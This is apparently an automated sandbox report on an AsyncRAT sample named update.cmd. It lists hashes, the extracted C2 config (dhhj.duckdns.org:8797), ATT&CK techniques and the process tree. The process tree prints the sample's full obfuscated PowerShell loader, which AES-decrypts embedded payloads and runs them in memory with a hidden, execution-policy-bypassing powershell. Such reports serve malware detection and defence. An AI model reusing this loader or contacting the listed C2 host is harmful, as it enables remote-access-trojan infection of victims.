asyncrat | 56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d

General

Target

update.cmd
Size

91KB
MD5

981e0374ab07b58ea53823122fe91be7
SHA1

a162c8fac692cf34db330384f577f017fa003751
SHA256

56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d
SHA512

edb3d2b49fd93462e12f6b67a9c476fdc4c085e684f127b110802d15545f2d62531239992fc21c07e2716a287da17b1efeaa150deb902c17bf59461be52a1043
SSDEEP

1536:W0Lad++Lr2vjYZRs6LTKZLZLNcUYv20oARdg59+AMlreZ3lVcJLhRMDTaPi2+YpA:VWsaLmZCtC9+plrS1VwLrME+Y6

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

dhhj.duckdns.org:8797

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/5104-26-0x0000000007260000-0x0000000007272000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

24 5104 powershell.exe
26 5104 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

5104 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

5104 powershell.exe
5104 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5104 powershell.exe

flow	pid	process
24	5104	powershell.exe
26	5104	powershell.exe

pid	process
5104	powershell.exe

pid	process
5104	powershell.exe
5104	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5104	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 5004 wrote to memory of 2328	5004	cmd.exe	cmd.exe
PID 5004 wrote to memory of 2328	5004	cmd.exe	cmd.exe
PID 5004 wrote to memory of 1248	5004	cmd.exe	cmd.exe
PID 5004 wrote to memory of 1248	5004	cmd.exe	cmd.exe
PID 5004 wrote to memory of 5104	5004	cmd.exe	powershell.exe
PID 5004 wrote to memory of 5104	5004	cmd.exe	powershell.exe
PID 5004 wrote to memory of 5104	5004	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\update.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:5004

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:2328

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cEoPe6dpwVu7fDERkKynhFR/1EqmZQt/n7wIxJrBC2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UDOjbmgbocvvVyzcITNo4Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OQQuw=New-Object System.IO.MemoryStream(,$param_var); $eDfzX=New-Object System.IO.MemoryStream; $Pftxr=New-Object System.IO.Compression.GZipStream($OQQuw, [IO.Compression.CompressionMode]::Decompress); $Pftxr.CopyTo($eDfzX); $Pftxr.Dispose(); $OQQuw.Dispose(); $eDfzX.Dispose(); $eDfzX.ToArray();}function execute_function($param_var,$param2_var){ $umdfJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wCVTW=$umdfJ.EntryPoint; $wCVTW.Invoke($null, $param2_var);}$yEoUp = 'C:\Users\Admin\AppData\Local\Temp\update.cmd';$host.UI.RawUI.WindowTitle = $yEoUp;$BlEZh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yEoUp).Split([Environment]::NewLine);foreach ($vQXry in $BlEZh) { if ($vQXry.StartsWith('uuoNTGQdmxGwoNrYAGxC')) { $NjUsU=$vQXry.Substring(20); break; }}$payloads_var=[string[]]$NjUsU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:1248

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5104

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_axnm1kpg.ltx.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5104-20-0x0000000006D80000-0x0000000006DC4000-memory.dmp

Filesize
272KB

Download
memory/5104-34-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/5104-19-0x0000000005E10000-0x0000000005E5C000-memory.dmp

Filesize
304KB

Download
memory/5104-4-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/5104-5-0x0000000004DB0000-0x0000000004DD2000-memory.dmp

Filesize
136KB

Download
memory/5104-7-0x0000000005740000-0x00000000057A6000-memory.dmp

Filesize
408KB

Download
memory/5104-6-0x00000000055A0000-0x0000000005606000-memory.dmp

Filesize
408KB

Download
memory/5104-1-0x0000000004790000-0x00000000047C6000-memory.dmp

Filesize
216KB

Download
memory/5104-17-0x00000000057B0000-0x0000000005B04000-memory.dmp

Filesize
3.3MB

Download
memory/5104-21-0x0000000006E80000-0x0000000006EF6000-memory.dmp

Filesize
472KB

Download
memory/5104-3-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/5104-2-0x0000000004E00000-0x0000000005428000-memory.dmp

Filesize
6.2MB

Download
memory/5104-18-0x0000000005CA0000-0x0000000005CBE000-memory.dmp

Filesize
120KB

Download
memory/5104-22-0x0000000007580000-0x0000000007BFA000-memory.dmp

Filesize
6.5MB

Download
memory/5104-23-0x0000000006F00000-0x0000000006F1A000-memory.dmp

Filesize
104KB

Download
memory/5104-24-0x00000000071D0000-0x00000000071E0000-memory.dmp

Filesize
64KB

Download
memory/5104-25-0x00000000071F0000-0x0000000007202000-memory.dmp

Filesize
72KB

Download
memory/5104-26-0x0000000007260000-0x0000000007272000-memory.dmp

Filesize
72KB

Download
memory/5104-29-0x0000000009E10000-0x0000000009EAC000-memory.dmp

Filesize
624KB

Download
memory/5104-30-0x000000000A460000-0x000000000AA04000-memory.dmp

Filesize
5.6MB

Download
memory/5104-32-0x000000007488E000-0x000000007488F000-memory.dmp

Filesize
4KB

Download
memory/5104-33-0x0000000074880000-0x0000000075030000-memory.dmp

Filesize
7.7MB

Download
memory/5104-0-0x000000007488E000-0x000000007488F000-memory.dmp

Filesize
4KB

Download

Analysis

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